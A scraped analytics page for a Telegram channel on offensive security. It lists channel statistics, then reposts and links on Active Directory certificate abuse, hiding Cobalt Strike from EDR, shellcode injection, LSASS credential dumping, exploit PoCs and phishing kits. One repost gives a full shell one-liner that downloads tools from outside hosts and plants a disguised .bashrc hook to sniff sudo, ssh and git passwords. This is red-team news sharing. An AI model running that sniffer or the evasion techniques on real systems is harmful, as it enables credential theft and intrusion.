en
Feedback
APT

APT

Open in Telegram

This channel discusses: — Offensive Security — RedTeam — Malware Research — OSINT — etc Disclaimer: t.me/APT_Notes/6 Chat Link: t.me/APT_Notes_PublicChat

Show more
Russia45 663Technologies & Applications8 841

📈 Analytical overview of Telegram channel APT

Channel APT (@apt_notes) in the English language segment is an active participant. Currently, the community unites 14 650 subscribers, ranking 8 841 in the Technologies & Applications category and 45 663 in the Russia region.

📊 Audience metrics and dynamics

Since its creation on невідомо, the project has demonstrated rapid growth, gathering an audience of 14 650 subscribers.

According to the latest data from 11 June, 2026, the channel demonstrates stable activity. Although there has been a change in the number of participants by 406 over the last 30 days and by 16 over the last 24 hours, overall reach remains high.

  • Verification status: Not verified
  • Engagement rate (ER): The average audience engagement rate is 48.83%. Within the first 24 hours after publication, content typically collects N/A% reactions from the total number of subscribers.
  • Post reach: On average, each post receives 7 154 views. Within the first day, a publication typically gains 0 views.
  • Reactions and interaction: The audience actively supports content: the average number of reactions per post is 18.

📝 Description and content policy

The author describes the resource as a platform for expressing subjective opinions:
“This channel discusses: — Offensive Security — RedTeam — Malware Research — OSINT — etc Disclaimer: t.me/APT_Notes/6 Chat Link: t.me/APT_Notes_PublicChat”

Thanks to the high frequency of updates (latest data received on 12 June, 2026), the channel maintains relevance and a high level of publication reach. Analytics show that the audience actively interacts with content, making it an important point of influence in the Technologies & Applications category.

14 650
Subscribers
+1624 hours
+1087 days
+40630 days
Posts Archive
APT
APT
14 653
Repost from 1N73LL1G3NC3
Pwning the Domain: AD CS (Active Directory Certificate Services) Domain Escalation: • ESC 1 (Template misconfiguration) • ESC
Pwning the Domain: AD CS (Active Directory Certificate Services) Domain Escalation: 
   • ESC 1 (Template misconfiguration)
   • ESC 2 (Template misconfiguration)
   • ESC 3 (Template misconfiguration)
   • ESC 4 (Access Controls Attacks)
   • ESC 5 (Sufficient rights against several objects)
   • ESC 6 (CA Configuration)
   • ESC 7 (Sufficient rights against the CA)
   • ESC8
   • ESC9
   • ESC10
   • ESC11
   • ESC12
   • ESC13
Domain Persistence: 
   • DPERSIST1 (Forge certificates with stolen CA certificate)
   • DPERSIST2
   • DPERSIST3
Account Persistence:
   • PERSIST1 (User Account)
   • PERSIST2 (Machine account)
   • PERSIST3
Domain Certificate Theft: 
   • THEFT1 (Export user certificates with Crypto APIs)
   • THEFT2 (Certificate theft via DPAPI): User certificates THEFT, Machine certificates Theft
   • THEFT3
   • THEFT4
   • THEFT5

APT
APT
14 653
🖥 Hide Cobalt-Strike like a PRO The article outlines methods to conceal Cobalt Strike from detection by antivirus and EDR sy
🖥 Hide Cobalt-Strike like a PRO The article outlines methods to conceal Cobalt Strike from detection by antivirus and EDR systems, with a particular focus on bypassing Kaspersky Endpoint Security. Author introduces the HCS tool for obfuscating JARM signatures and offers detailed steps for modifying Cobalt Strike’s code and SSL certificates to enhance OPSEC. 🔗 https://blog.injectexp.dev/2024/02/27/hide-cobalt-strike-like-a-pro/ #cobaltstrike #customize #kaspersky #bypass

APT
APT
14 653
🖥 Stealthy Shellcode Injection: Exploiting Windows Fork API for Memory Manipulation Abusing Windows fork API and OneDrive.exe process to inject the malicious shellcode without allocating new RWX memory region. This technique is finding RWX region in already running processes in this case OneDrive.exe and Write shellcode into that region and execute it without calling VirtualProtect, VirtualAllocEx, VirtualAlloc. 🚀 Steps: — Find the OneDrive.exe in running processes; — Get the handle of OneDrive.exe; — Query remote process memory information; — look for RWX memory regions; — Write shellcode into found region of OneDrive.exe; — Fork OneDrive.exe into a new process; — Set the forked process's start address to the cloned shellcode; — Terminate the cloned process after execution. 🔗 https://github.com/Offensive-Panda/RWX_MEMEORY_HUNT_AND_INJECTION_DV #winapi #onedrive #injection #maldev #cpp

APT
APT
14 653
Repost from N/a
Участник DreamTeam Acrono сделал предложение своей девушке 😍 Давайте поздравим ребят!

APT
APT
14 653
Repost from Волосатый бублик

APT
APT
14 653
Repost from Похек
From Zero to Hero: Phishing company #phishing #фишинг #перевод #от_подписчика Эксклюзивно для канала Похек, @resource_not_found сделал перевод этой статьи на русский язык. 🙏 Спасибо большое ему и надеюсь она будет вам полезна) 🌚 @poxek

APT
APT
14 653
🏆 Pentest Award: Ежегодная независимая премия для пентестеров Команда Awillix объявила о начале приема заявок на ежегодную п
🏆 Pentest Award: Ежегодная независимая премия для пентестеров Команда Awillix объявила о начале приема заявок на ежегодную премию — Pentest Award. Это отличная возможность выразить свои достижения и продемонстрировать вклад в ИБ сообщество, а также поделиться лучшими практическими историями. В этот раз будет 6 номинаций, по три призовых места в каждой: — Пробив WEB; — Пробив инфраструктуры; — Девайс; — Hack the logic; — Раз bypass, два bypass; — Ловись рыбка. Главный приз — тяжеленная стеклянная именная статуэтка, которую, к слову, в прошлом году выиграл мой дорогой snovvcrash за первое место. И конечно, не менее главные призы: макбуки, айфоны, смарт-часы, умные колонки, а также другие бесценные подарки от BI.ZONE Bug Bounty и VK Bug Bounty. #pentestaward

APT
APT
14 653
Repost from Offensive Xwitter
😈 [ The Hacker's Choice (@thc@infosec.exchange) @hackerschoice ] A ~/.bashrc 1-liner to sniff 🐶 sudo/ssh/git passwords (pty
😈 [ The Hacker's Choice (@thc@infosec.exchange) @hackerschoice ] A ~/.bashrc 1-liner to sniff 🐶 sudo/ssh/git passwords (pty MitM). No root required 👀 command -v bash >/dev/null || { echo "Not found: /bin/bash"; false; } \ && { mkdir -p ~/.config/.pty 2>/dev/null; :; } \ && curl -o ~/.config/.pty/pty -fsSL "https://bin.ajam.dev/$(uname -m)/Baseutils/script" \ && curl -o ~/.config/.pty/ini -fsSL "https://github.com/hackerschoice/zapper/releases/download/v1.1/zapper-stealth-linux-$(uname -m)" \ && chmod 755 ~/.config/.pty/ini ~/.config/.pty/pty \ && echo -e '----------\n\e[0;32mSUCCESS\e[0m. Add the following line to \e[0;36m~/.bashrc\e[0m:\e[0;35m' \ && echo -e '[ -z "$LC_PTY" ] && [ -t0 ] && [[ "$HISTFILE" != *null* ]] && [ -x ~/.config/.pty/ini ] && [ -x ~/.config/.pty/pty ] && LC_PTY=1 exec ~/.config/.pty/ini -a "sshd: pts/0" ~/.config/.pty/pty -qaec "exec -a -bash '"$(command -v bash)"'" -I ~/.config/.pty/.@pty-unix.$$\e[0m' 🔗 https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet?tab=readme-ov-file#10-session-sniffing-and-hijaking 🐥 [ tweet ] прикольно, напомнило https://ppn.snovvcrash.rocks/pentest/infrastructure/post-exploitation#vim-keylogger

APT
APT
14 653
Repost from Ralf Hacker Channel
Ой, красота))) Получить данные из LSA без дампа LSASS. Tool: https://github.com/EvanMcBroom/lsa-whisperer Blog: https://posts.specterops.io/lsa-whisperer-20874277ea3b #redteam #pentest #creds #dump

APT
APT
14 653
Repost from Ralf Hacker Channel
Ой, красота))) Получить данные из LSA без дампа LSASS. 
Historically was able to (and may presently still) bypass:
* Windows Defender
* Malwarebytes Anti-Malware
* CrowdStrike Falcon EDR (Falcon Complete + OverWatch)
Tool: https://github.com/Meowmycks/LetMeowIn?tab=readme-ov-file Blog: https://posts.specterops.io/lsa-whisperer-20874277ea3b #redteam #pentest #creds #dump

APT
APT
14 653
Repost from 1N73LL1G3NC3
CVE-2024-21338 LPE from Admin to Kernel vulnerability on Windows 10 and Windows 11 operating systems with HVCI enabled. Blog:
CVE-2024-21338 LPE from Admin to Kernel vulnerability on Windows 10 and Windows 11 operating systems with HVCI enabled. Blog: https://hakaisecurity.io/cve-2024-21338-from-admin-to-kernel-through-token-manipulation-and-windows-kernel-exploitation/research-blog/

APT
APT
14 653
Evilginx ❤️ Gophish The highly anticipated official integration between Evilginx and Gophish has been unveiled in the latest
Evilginx ❤️ Gophish The highly anticipated official integration between Evilginx and Gophish has been unveiled in the latest Evilginx 3.3 update. Alongside this major feature, the update brings numerous quality-of-life enhancements. 🔗 https://breakdev.org/evilginx-3-3-go-phish/ #evilginx #gophish #phishing

APT
APT
14 653
Repost from 1N73LL1G3NC3
CVE-2024-1086 Linux kernel LPE Universal local privilege escalation Proof-of-Concept exploit for CVE-2024-1086, working on most Linux kernels between v5.14 and v6.6, including Debian, Ubuntu, and KernelCTF. The success rate is 99.4% in KernelCTF images. A full write-up of the exploit - including background information and loads of useful diagrams - can be found in the Flipping Pages blogpost.

APT
APT
14 653
Repost from PT SWARM
🎁 Source Code Disclosure in IIS 10.0! Almost. There is a method to reveal the source code of some .NET apps. Here's how it w
🎁 Source Code Disclosure in IIS 10.0! Almost. There is a method to reveal the source code of some .NET apps. Here's how it works. 👉 https://swarm.ptsecurity.com/source-code-disclosure-in-asp-net-apps/

APT
APT
14 653
Repost from Внутрянка
Материал про пентест 1С

APT
APT
14 653
Repost from 1N73LL1G3NC3
CVE-2024-21413 | Microsoft Outlook Remote Code Execution Vulnerability PoC 📜 Description This script presents a proof of concept (PoC) for CVE-2024-21413, a significant security vulnerability discovered in Microsoft Outlook with a CVSS of 9.8. Termed the #MonikerLink bug, this vulnerability has far-reaching implications, including the potential leakage of local NTLM information and the possibility of remote code execution. Moreover, it highlights an attack vector that could bypass Office Protected View, thereby extending its threat to other Office applications.

APT
APT
14 653
Repost from Ralf Hacker Channel
CVE-2024-21413: Microsoft Outlook Leak Hash https://github.com/duy-31/CVE-2024-21413 #exploit #pentest #redteam #ad

APT
APT
14 653
Repost from SecuriXy.kz
Теперь можно извлекать учетные данные без обращения к диску (Dumping credentials without touching disk) с помощью утилиты #go
Теперь можно извлекать учетные данные без обращения к диску (Dumping credentials without touching disk) с помощью утилиты #go-secdump которая поддерживает и SOCKS Proxy решая проблему #Impacket https://github.com/jfjallid/go-secdump скоро и в Impacket запилят и будет красота https://github.com/fortra/impacket/pull/1698

APT
APT
14 653
🔑 I Know What Your Password Was Last Summer... This is a blog post about password analysis and some research regarding frequently hacked NTLM passwords. 🔗 https://labs.lares.com/password-analysis/ #bruteforce #hashcat #ntlm

APT
APT
14 653
⚙️ MultiDump This is a post-exploitation tool written in C for dumping and extracting LSASS memory discreetly. MultiDump supp
⚙️ MultiDump This is a post-exploitation tool written in C for dumping and extracting LSASS memory discreetly. MultiDump supports LSASS dump via ProcDump.exe or Comsvc.dll, it offers two modes: a local mode that encrypts and stores the dump file locally, and a remote mode that sends the dump to a handler for decryption and analysis 🔗 https://github.com/Xre0uS/MultiDump #lsass #remote #cpp #python